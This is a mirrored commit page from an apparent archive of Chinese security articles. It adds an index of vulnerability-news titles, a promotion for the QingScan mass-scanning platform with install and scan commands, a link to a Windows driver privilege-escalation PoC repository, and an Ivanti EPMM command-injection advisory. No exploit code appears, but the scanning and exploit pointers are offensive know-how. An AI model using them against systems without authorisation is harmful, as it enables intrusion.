mirror of
https://github.com/gelusus/wxvl.git
synced 2026-10-29 03:40:51 +00:00
漏洞预警 | Advantech SQL注入漏洞、逃离沙箱：CVE-2026-22709 深度复盘，为什么 vm2 总是防不住？、CNVD漏洞周报2026年第4期、无需手动构包！智能填充参数 + 自动化请求：Swagger API自动化漏洞检测工具|ApiHunter、漏洞预警 | 孚盟云SQL注入漏洞、第155篇：Weblogic反序列化漏洞的多种回显方法总结（上篇）、Windows 驱动程序漏洞、帆软报表指纹POC集成、5 分钟全自动聚合 Nmap+AWVS+Xray+Rad+Nuclei 等 20+ 引擎，一键完成资产到漏洞的致命闭环！、为什么 JS∕Python 沙箱这么难搞？从 n8n 的两个 RCE 漏洞谈起、【已复现】Ivanti EPMM存在命令注入漏洞（CVE-2026-1281&CVE-2026-1340）、赏金src报告分享&&edu证书站漏洞分享、分享Fastjson反序列化漏洞原理+漏洞复现+实战案例+POC收集、任意代码执行的原子狩猎：从漏洞挖掘到系统沦陷的武器化工程、漏洞预警 | 金和OA XXE漏洞、【服务端漏洞-路径遍历-第一章第一节】服务器漏洞解析第一弹：一文读懂路径遍历漏洞、飞牛系统（fnOS）远程代码执行链：认证绕过、一键Clawdbot漏洞：启动恶意远程代码执行攻击、工具推荐 | 自动检测Vue框架 绕过Vue.js 站点路由守卫 一键发现隐藏资产与未授权漏洞、
This commit is contained in:
test committed
1 parent
32c7242c4b
commit
bb52f9be8d
20 files changed
+4218
-141
No files matched your search
@@ -17480,5 +17480,24 @@
|
||||
"https://mp.weixin.qq.com/s/DURhQdhQnrQmri5-Tmrobg": "CISA紧急警告，Office、Linux内核等关键漏洞正被黑客利用",
|
||||
"https://mp.weixin.qq.com/s/Cl-q6CL-V5jKat7DzgWjLA": "【高危漏洞预警】Ivanti Endpoint Manager Mobile代码注入漏洞CVE-2026-1281∕CVE-2026-1340",
|
||||
"https://mp.weixin.qq.com/s/pAhC-DJgcTF3usj6qdQcaQ": "AI社交平台Moltbook曝严重安全漏洞",
|
||||
"https://mp.weixin.qq.com/s/-APYvQBg6HSZi16rj8Z2bg": "无需手动构包！智能填充参数 + 自动化请求：Swagger API自动化漏洞检测工具|ApiHunter"
|
||||
"https://mp.weixin.qq.com/s/-APYvQBg6HSZi16rj8Z2bg": "无需手动构包！智能填充参数 + 自动化请求：Swagger API自动化漏洞检测工具|ApiHunter",
|
||||
"https://mp.weixin.qq.com/s/UUCNGrQ90V-O2d62XO6t9Q": "漏洞预警 | Advantech SQL注入漏洞",
|
||||
"https://mp.weixin.qq.com/s/yeAzQ0-6f8E3Zz2McRvNBA": "逃离沙箱：CVE-2026-22709 深度复盘，为什么 vm2 总是防不住？",
|
||||
"https://mp.weixin.qq.com/s/h4y1yJ9WtYoW54R1t5yEIg": "CNVD漏洞周报2026年第4期",
|
||||
"https://mp.weixin.qq.com/s/E5E1jHXxytPiLXHrRwkkjw": "无需手动构包！智能填充参数 + 自动化请求：Swagger API自动化漏洞检测工具|ApiHunter",
|
||||
"https://mp.weixin.qq.com/s/WyIyO8UNkGU7e-N4GF3mAQ": "漏洞预警 | 孚盟云SQL注入漏洞",
|
||||
"https://mp.weixin.qq.com/s/z67l_pnGp4P7RykbuunuRQ": "第155篇：Weblogic反序列化漏洞的多种回显方法总结（上篇）",
|
||||
"https://mp.weixin.qq.com/s/UYXWBA98AZ_ihdDbBKSx7Q": "Windows 驱动程序漏洞",
|
||||
"https://mp.weixin.qq.com/s/VKorlZqidUeIGXd5D06nqQ": "帆软报表指纹POC集成",
|
||||
"https://mp.weixin.qq.com/s/64P2r10TzPHlfHKtCzI7gg": "5 分钟全自动聚合 Nmap+AWVS+Xray+Rad+Nuclei 等 20+ 引擎，一键完成资产到漏洞的致命闭环！",
|
||||
"https://mp.weixin.qq.com/s/2ttL4Kl0FGi5WC-k7tfOvg": "为什么 JS∕Python 沙箱这么难搞？从 n8n 的两个 RCE 漏洞谈起",
|
||||
"https://mp.weixin.qq.com/s/0fpcTSvaDJWnZXdChnTGcw": "【已复现】Ivanti EPMM存在命令注入漏洞（CVE-2026-1281&CVE-2026-1340）",
|
||||
"https://mp.weixin.qq.com/s/Xj2sdU-sqWvKVer-QMWoYg": "赏金src报告分享&&edu证书站漏洞分享",
|
||||
"https://mp.weixin.qq.com/s/RB1vwJd06k0NCrIJY6gaPw": "分享Fastjson反序列化漏洞原理+漏洞复现+实战案例+POC收集",
|
||||
"https://mp.weixin.qq.com/s/aJfLGAPEwH2XOC69y9UUPA": "任意代码执行的原子狩猎：从漏洞挖掘到系统沦陷的武器化工程",
|
||||
"https://mp.weixin.qq.com/s/uZF-4szzPMPackVsn_A84g": "漏洞预警 | 金和OA XXE漏洞",
|
||||
"https://mp.weixin.qq.com/s/bIjpwn2DdaY8HSJLQsFLwg": "【服务端漏洞-路径遍历-第一章第一节】服务器漏洞解析第一弹：一文读懂路径遍历漏洞",
|
||||
"https://mp.weixin.qq.com/s/cZ1qRSxcA2kyYkIQjA_i4w": "飞牛系统（fnOS）远程代码执行链：认证绕过",
|
||||
"https://mp.weixin.qq.com/s/gZuixfOZHgo7GVSMRxd3Bw": "一键Clawdbot漏洞：启动恶意远程代码执行攻击",
|
||||
"https://mp.weixin.qq.com/s/7bAdr0D8OhCnEkZA48LsvA": "工具推荐 | 自动检测Vue框架 绕过Vue.js 站点路由守卫 一键发现隐藏资产与未授权漏洞"
|
||||
}
|
||||
@@ -0,0 +1,54 @@
|
||||
# 5 分钟全自动聚合 Nmap+AWVS+Xray+Rad+Nuclei 等 20+ 引擎，一键完成资产到漏洞的致命闭环！
|
||||
菜狗
|
||||
菜狗 只会看监控的实习生 2026-02-03 00:00
|
||||
|
||||
## 🚀 一句话卖点
|
||||
|
||||
一台 Ubuntu22.04 + 80 端口 = 开箱即用的漏洞挖掘工厂 无需 Docker，一条 PHP 命令即可批量安装/更新工具，支持 Web + CLI 双模式，适合攻防演练、SRC 挖掘、内网巡检全场景。
|
||||
|
||||
|
||||
## 📊 核心能力
|
||||
|
||||
<table><thead><tr><th style="color: rgb(248, 248, 248);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(235, 114, 80);height: auto;border-style: solid;border-width: 1px;border-color: rgb(245, 203, 174);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><section><span leaf="">阶段</span></section></th><th style="color: rgb(248, 248, 248);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(235, 114, 80);height: auto;border-style: solid;border-width: 1px;border-color: rgb(245, 203, 174);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><section><span leaf="">内置引擎</span></section></th><th style="color: rgb(248, 248, 248);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(235, 114, 80);height: auto;border-style: solid;border-width: 1px;border-color: rgb(245, 203, 174);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><section><span leaf="">输出</span></section></th></tr></thead><tbody><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(245, 203, 174);border-bottom-color: rgb(245, 203, 174);border-left-color: rgb(245, 203, 174);border-right-color: rgb(245, 203, 174);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><strong style="color: rgb(37, 132, 181);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">资产发现</span></strong></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(245, 203, 174);border-bottom-color: rgb(245, 203, 174);border-left-color: rgb(245, 203, 174);border-right-color: rgb(245, 203, 174);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><section><span leaf="">Nmap、Masscan、Rad、Httpx</span></section></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(245, 203, 174);border-bottom-color: rgb(245, 203, 174);border-left-color: rgb(245, 203, 174);border-right-color: rgb(245, 203, 174);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><section><span leaf="">IP、端口、存活 URL</span></section></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 222, 203);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;bordLine truncated
|
||||
|
||||
|
||||
## 🛠️ 5 分钟极速部署（Ubuntu22.04 一键脚本）
|
||||
```
|
||||
# 1. 安装系统依赖apt update && apt install -y php php-{xml,gd,mysqli,dom,cli,zip,curl} unzip composer# 2. 获取代码git clone https://github.com/78778443/QingScan.gitcd QingScan/code && composer install# 3. 启动 Web 服务php think run -p 80 # 默认 80 端口，浏览器访问 127.0.0.1# 4. 导入数据库（新建 qingscan 库并执行 deploy/qingscan.sql）# 5. 启动调度脚本（后台常驻）chmod +x script.sh && ./script.sh # 自动拉起所有扫描器进程
|
||||
```
|
||||
## 🔧 扫描器批量安装（PHP 一键式）
|
||||
```
|
||||
# 查看可安装列表php think install list# 一键全部（约 20+ 工具，含 Nmap、AWVS、Xray、Nuclei、Rad 等）php think install all# 按需安装php think install nmapphp think install awvsphp think install nuclei
|
||||
```
|
||||
## 📺 使用流程（3 步走）
|
||||
1. 添加目标 支持单 IP、CIDR、域名、URL 文件上传，可设置端口范围、扫描深度、POC 集合。
|
||||
|
||||
1. 一键扫描 平台自动分配任务队列 → 多引擎并发 → 实时进度条 → 漏洞数红点提醒。
|
||||
|
||||
1. 结果导出 支持 HTML / Excel / PDF 报告，含漏洞证明、修复建议、复现请求，渗透测试交付即用。
|
||||
|
||||
|
||||
## 🌐 界面速览（Web 控制台）
|
||||
|
||||
<table><thead><tr><th style="color: rgb(248, 248, 248);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(235, 114, 80);height: auto;border-style: solid;border-width: 1px;border-color: rgb(245, 203, 174);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><section><span leaf="">功能</span></section></th><th style="color: rgb(248, 248, 248);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(235, 114, 80);height: auto;border-style: solid;border-width: 1px;border-color: rgb(245, 203, 174);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><section><span leaf="">截图示意</span></section></th></tr></thead><tbody><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(245, 203, 174);border-bottom-color: rgb(245, 203, 174);border-left-color: rgb(245, 203, 174);border-right-color: rgb(245, 203, 174);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><strong style="color: rgb(37, 132, 181);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">添加目标</span></strong></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(245, 203, 174);border-bottom-color: rgb(245, 203, 174);border-left-color: rgb(245, 203, 174);border-right-color: rgb(245, 203, 174);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><section><span leaf="">支持 IP/CIDR/域名/URL 文件</span></section></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 222, 203);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(245, 203, 174);border-bottom-color: rgb(245, 203, 174);border-left-color: rgb(245, 203, 174);border-right-color: rgb(245, 203, 174);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><strong style="color: rgb(37, 132, 181);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color:Line truncated
|
||||
## 📡 CLI 模式（脚本调用）
|
||||
```
|
||||
# 单目标立即扫描php think scan --target https://example.com --poc all# 定时任务（crontab 示例）0 2 * * * cd /opt/QingScan/code && php think scan --target-file /tmp/ip.txt --poc high
|
||||
```
|
||||
## ⚙️ 高级特性
|
||||
- 定时扫描：天/周/月周期，钉钉/飞书机器人推送结果
|
||||
|
||||
- 分布式节点：横向扩容扫描器，大规模资产并发
|
||||
|
||||
- POC 在线更新：每日同步 GitHub 最新 POC，0day 24h 内上线
|
||||
|
||||
- 权限分级：多用户角色，扫描与报告权限分离
|
||||
|
||||
## 回复QingScan获取
|
||||
|
||||
## 低价出售安全证书不限于cisp、pte等请Vme～建了一个项目群，想进群的请回复进群即可
|
||||
|
||||
|
||||
##
|
||||
|
||||
|
||||
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,10 @@
|
||||
# Windows 驱动程序漏洞
|
||||
TtTeam 2026-02-03 00:41
|
||||
|
||||
针对 Windows 驱动程序漏洞的概念验证 (PoC) 攻击代码，展示了可能导致权限提升、任意代码执行或其他安全风险的缺陷。仅供研究和教育用途。
|
||||
|
||||
|
||||
|
||||
|
||||
https://github.com/ghostbyt3/WinDriver-EXP
|
||||
|
||||
@@ -0,0 +1,125 @@
|
||||
# 【已复现】Ivanti EPMM存在命令注入漏洞（CVE-2026-1281&CVE-2026-1340）
|
||||
安恒研究院
|
||||
安恒研究院 安恒信息CERT 2026-02-02 11:30
|
||||
|
||||
|
||||
|
||||
<table><tbody><tr style="-webkit-tap-highlight-color:transparent;"><td colspan="4" data-colwidth="100.0000%" width="100.0000%" style="-webkit-tap-highlight-color:transparent;word-break:break-all;hyphens:auto;border-color:#4577da;background-color:#4577da;"><section style="-webkit-tap-highlight-color:transparent;margin:5px 0px;"><section style="-webkit-tap-highlight-color:transparent;margin-top:0px;margin-right:0px;margin-bottom:unset;margin-left:0px;padding:0px 5px;font-size:14px;color:rgb(255, 255, 255);box-sizing:border-box;"><p style="-webkit-tap-highlight-color:transparent;text-align:center;"><strong style="-webkit-tap-highlight-color:transparent;"><span leaf="">漏洞概述</span></strong></p></section></section></td></tr><tr style="-webkit-tap-highlight-color:transparent;"><td data-colwidth="25.0000%" width="25.0000%" style="-webkit-tap-highlight-color:transparent;word-break:break-all;hyphens:auto;border-color:#4577da;"><section style="-webkit-tap-highlight-color:transparent;margin:5px 0px;"><section style="-webkit-tap-highlight-color:transparent;margin-top:0px;margin-right:0px;margin-bottom:unset;margin-left:0px;padding:0px 5px;font-size:14px;box-sizing:border-box;"><p style="-webkit-tap-highlight-color:transparent;text-align:left;"><strong style="-webkit-tap-highlight-color:transparent;"><span leaf="">漏洞名称</span></strong></p></section></section></td><td colspan="3" data-colwidth="75.0000%" width="75.0000%" style="-webkit-tap-highlight-color:transparent;word-break:break-all;hyphens:auto;border-color:#4577da;"><section style="-webkit-tap-highlight-color:transparent;margin:5px 0px;"><section style="-webkit-tap-highlight-color:transparent;margin-top:0px;margin-right:0px;margin-bottom:unset;margin-left:0px;padding:0px 5px;font-size:14px;box-sizing:border-box;"><p><span style="letter-spacing:0.544px;"><span leaf="">Ivanti EPMM存在命令注入漏洞（CVE-2026-1281&CVE-2026-1340）</span></span></p></section></section></td></tr><tr><td data-colwidth="25.0000%" width="25.0000%" style="-webkit-tap-highlight-color:transparent;word-break:break-all;hyphens:auto;border-color:#4577da;"><section style="-webkit-tap-highlight-color:transparent;margin:5px 0px;"><section style="-webkit-tap-highlight-color:transparent;margin-top:0px;margin-right:0px;margin-bottom:unset;margin-left:0px;padding:0px 5px;font-size:14px;box-sizing:border-box;"><p style="-webkit-tap-highlight-color:transparent;text-align:left;"><strong><span leaf="">安恒CERT评级</span></strong></p></section></section></td><td data-colwidth="25.0000%" width="25.0000%" style="-webkit-tap-highlight-color:transparent;word-break:break-all;hyphens:auto;border-color:#4577da;"><section style="-webkit-tap-highlight-color:transparent;margin:5px 0px;"><p style="-webkit-tap-highlight-color:transparent;"><span style="-webkit-tap-highlight-color:transparent;font-size:14px;letter-spacing:0.544px;"><span style="font-family:"PingFang SC", system-ui, -apple-system, "system-ui", "Helvetica Neue", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;font-size:14px;letter-spacing:0.544px;"><span leaf="">1级</span></span></span></p><section style="-webkit-tap-highlight-color:transparent;margin-top:0px;margin-right:0px;margin-bottom:unset;margin-left:0px;padding:0px 5px;font-size:14px;overflow:hidden;line-height:0;box-sizing:border-box;"><span leaf="" style="-webkit-tap-highlight-color:transparent;"><br/></span></section></section></td><td data-colwidth="25.0000%" width="25.0000%" style="-webkit-tap-highlight-color:transparent;word-break:break-all;hyphens:auto;border-color:#4577da;"><section style="-webkit-tap-highlight-color:transparent;margin:5px 0px;"><section style="-webkit-tap-highlight-color:transparent;margin-top:0px;margin-right:0px;margin-bottom:unset;margin-left:0px;padding:0px 5px;font-size:14px;box-sizing:border-box;"><p style="-webkit-tap-highlight-color:transparent;text-align:left;"><strong style="-webkit-tap-highlight-color:transparent;"><span leaf="">CVSS3.1评分</span></strong></p></section></section></td><td data-colwidth="25.0000%" width="25.0000%" style="-webkit-tap-highlight-color:transparent;word-break:break-all;hyphens:auto;border-color:#4577da;"><section style="-webkit-tap-highlight-color:transparent;margin:5px 0px;"><section style="-webkit-tap-highlight-color:transparent;margin-top:0px;margin-right:0px;margin-bottom:unset;margin-left:0px;padding:0px 5px;font-size:14px;box-sizing:border-box;"><p style="-webkit-tap-highlight-color:transparent;text-align:left;"><span leaf="">9.8</span></p></section></section></td></tr><tr style="-webkit-tap-highlight-color:transparent;"><td data-colwidth="25.0000%" width="25.0000%" style="-webkit-tap-highlight-color:transparent;word-break:break-all;hyphens:auto;border-color:#4577da;"><section style="-webkit-tap-highlight-color:transparent;margin:5px 0px;"><section style="-webkit-tap-highlight-color:transparent;margin-top:0px;margin-rLine truncated
|
||||
|
||||
**该产品主要使用客户行业分布广泛，漏洞危害性极高，建议客户尽快做好自查及防护。**
|
||||
|
||||
**安恒研究院卫兵实验室已复现此漏洞。**
|
||||
|
||||
|
||||
|
||||
复现截图
|
||||
|
||||
|
||||
|
||||
**漏洞信息**
|
||||
|
||||
|
||||
|
||||
|
||||
Ivanti EPMM（端点管理器移动版）是一款企业级移动设备与应用程序管理（MDM/EMM/UEM）解决方案。它专注于帮助企业管理员工移动设备、保障企业数据安全，并安全地分发企业应用程序。其核心功能包括设备合规性监控、应用级数据容器化隔离，以及提供安全的移动生产力工具。
|
||||
|
||||
|
||||
**漏洞描述**
|
||||
|
||||
**漏洞危害等级：**
|
||||
严重
|
||||
|
||||
**漏洞类型：**
|
||||
命令注入
|
||||
|
||||
|
||||
**影响范围**
|
||||
|
||||
**影响版本：**
|
||||
|
||||
Ivanti Endpoint Manager Mobile <= 12.5.0.0
|
||||
|
||||
Ivanti Endpoint Manager Mobile <= 12.5.1.0
|
||||
|
||||
Ivanti Endpoint Manager Mobile <= 12.6.0.0
|
||||
|
||||
Ivanti Endpoint Manager Mobile <= 12.6.1.0
|
||||
|
||||
Ivanti Endpoint Manager Mobile <= 12.7.0.0
|
||||
|
||||
**CVSS向量**
|
||||
|
||||
访问途径（AV）：网络
|
||||
|
||||
攻击复杂度（AC）：低
|
||||
|
||||
所需权限（PR）：无
|
||||
|
||||
用户交互（UI）：无
|
||||
|
||||
影响范围 （S）：不变
|
||||
|
||||
机密性影响 （C）：高
|
||||
|
||||
完整性影响 （l）：高
|
||||
|
||||
可用性影响 （A）：高
|
||||
|
||||
|
||||
|
||||
|
||||
**修复方案**
|
||||
|
||||
|
||||
|
||||
|
||||
**官方修复方案：**
|
||||
|
||||
此漏洞的永久修复程序将包含在下一个产品版本
|
||||
12.8.0.0
|
||||
中（将于
|
||||
2026
|
||||
年第一季度发布）
|
||||
，
|
||||
官方已发布
|
||||
临时修复补丁
|
||||
，受影响的用户建议及时下载补丁包进行漏洞修复
|
||||
。
|
||||
|
||||
RPM_12.x.0.x 适用版本：12.5.0.x、12.6.0.x 和 12.7.0.x
|
||||
|
||||
RPM_12.x.1.x 适用版本：12.5.1.0 和 12.6.1.0
|
||||
|
||||
兼容版本：12.3.0.x 和12.4.0.x
|
||||
|
||||
https://username:password@support.mobileiron.com/mi/vsp/AB1771634/ivanti-security-update-1761642-1.0.0S-5.noarch.rpm
|
||||
|
||||
https://username:password@support.mobileiron.com/mi/vsp/AB1771634/ivanti-security-update-1761642-1.0.0L-5.noarch.rpm
|
||||
|
||||
**产品能力覆盖**
|
||||
|
||||
|
||||
|
||||
|
||||
<table><tbody><tr style="-webkit-tap-highlight-color:transparent;"><td data-colwidth="33.0000%" width="33.0000%" style="-webkit-tap-highlight-color:transparent;word-break:break-all;hyphens:auto;border-color:#4577da;background-color:#4577da;"><section style="-webkit-tap-highlight-color:transparent;margin:5px 0px;"><section style="-webkit-tap-highlight-color:transparent;margin-top:0px;margin-right:0px;margin-bottom:unset;margin-left:0px;padding:0px 5px;text-align:left;font-size:14px;color:rgb(255, 255, 255);box-sizing:border-box;"><p style="-webkit-tap-highlight-color:transparent;"><strong style="-webkit-tap-highlight-color:transparent;"><span leaf="">产品名称</span></strong></p></section></section></td><td data-colwidth="67.0000%" width="67.0000%" style="-webkit-tap-highlight-color:transparent;word-break:break-all;hyphens:auto;border-color:#4577da;background-color:#4577da;"><section style="-webkit-tap-highlight-color:transparent;margin:5px 0px;"><section style="-webkit-tap-highlight-color:transparent;margin-top:0px;margin-right:0px;margin-bottom:unset;margin-left:0px;padding:0px 5px;text-align:left;font-size:14px;color:rgb(255, 255, 255);box-sizing:border-box;"><p style="-webkit-tap-highlight-color:transparent;"><strong style="-webkit-tap-highlight-color:transparent;"><span leaf="">覆盖补丁包</span></strong></p></section></section></td></tr><tr style="-webkit-tap-highlight-color:transparent;"><td data-colwidth="33.0000%" width="33.0000%" style="-webkit-tap-highlight-color:transparent;word-break:break-all;hyphens:auto;border-color:#4577da;"><section style="-webkit-tap-highlight-color:transparent;margin:5px 0px;"><section style="-webkit-tap-highlight-color:transparent;margin-top:0px;margin-right:0px;margin-bottom:unset;margin-left:0px;padding:0px 5px;text-align:left;font-size:14px;box-sizing:border-box;"><p style="-webkit-tap-highlight-color:transparent;"><span leaf="" style="-webkit-tap-highlight-color:transparent;">AiLPHA大数据平台</span></p></section></section></td><td data-colwidth="67.0000%" width="67.0000%" style="-webkit-tap-highlight-color:transparent;word-break:break-all;hyphens:auto;border-color:#4577da;"><section style="-webkit-tap-highlight-color:transparent;margin:5px 0px;"><section style="-webkit-tap-highlight-color:transparent;margin-top:0px;margin-right:0px;margin-bottom:unset;margin-left:0px;padding:0px 5px;text-align:left;font-size:14px;box-sizing:border-box;"><p style="-webkit-tap-highlight-color:#00000000;"><span style="-webkit-tap-highlight-color:#00000000;letter-spacing:0.544px;"><span leaf="">GoldenEyeIPv6_XXXXX_strategy2.0.XXXXX.260202.1及以上版本</span></span></p></section></section></td></tr><tr style="-webkit-tap-highlight-color:transparent;"><td data-colwidth="33.0000%" width="33.0000%" style="-webkit-tap-highlight-color:transparent;word-break:break-all;hyphens:auto;border-color:#4577da;"><section style="-webkit-tap-highlight-color:transparent;margin:5px 0px;"><section style="-webkit-tap-highlight-color:transparent;margin-top:0px;margin-right:0px;margin-bottom:unset;margin-left:0px;padding:0px 5px;text-align:left;font-size:14px;box-sizing:border-box;"><p style="-webkit-tap-highlight-color:transparent;"><span leaf="" style="-webkit-tap-highlight-color:transparent;">APT攻击预警平台</span></p></section></section></td><td data-colwidth="67.0000%" width="67.0000%" style="-webkit-tap-highlight-color:transparent;word-break:break-all;hyphens:auto;border-color:#4577da;"><section style="-webkit-tap-highlight-color:transparent;margin:5px 0px;"><section style="-webkit-tap-highlight-color:transparent;margin-top:0px;margin-right:0px;margin-bottom:unset;margin-left:0px;padding:0px 5px;text-align:left;font-size:14px;box-sizing:border-box;"><p style="-webkit-tap-highlight-color:#00000000;"><span leaf="" style="-webkit-tap-highlight-color:#00000000;">GoldenEyeIPv6_XXXXX_strategy2.0.XXXXX.260202.1及以上版本</span></p></section></section></td></tr><tr style="-webkit-tap-highlight-color:#00000000;"><td data-colwidth="33.0000%" width="33.0000%" style="-webkit-tap-highlight-color:transparent;word-break:break-all;hyphens:auto;border-color:#4577da;"><section style="-webkit-tap-highlight-color:transparent;margin:5px 0px;"><section style="-webkit-tap-highlight-color:transparent;margin-top:0px;margin-right:0px;margin-bottom:unset;margin-left:0px;padding:0px 5px;text-align:left;font-size:14px;box-sizing:border-box;"><p style="-webkit-tap-highlight-color:transparent;"><span leaf="" style="-webkit-tap-highlight-color:transparent;">WAF</span></p></section></section></td><td data-colwidth="67.0000%" width="67.0000%" style="-webkit-tap-highlight-color:transparent;word-break:break-all;hyphens:auto;border-color:#4577da;"><section style="-webkit-tap-highlight-color:transparent;margin:5px 0px;"><section style="-webkit-tap-highlight-color:transparent;margin-top:0px;margin-right:0px;margin-bottom:unset;margin-left:0px;padding:0px 5px;text-align:left;font-size:14px;box-sizing:border-box;"><p Line truncated
|
||||
|
||||
|
||||
**参考资料**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Endpoint-Manager-Mobile-EPMM-CVE-2026-1281-CVE-2026-1340
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**技术支持**
|
||||
|
||||
|
||||
|
||||
|
||||
如有漏洞相关需求支持请联系400-6059-110获取相关能力支撑。
|
||||
|
||||
@@ -0,0 +1,92 @@
|
||||
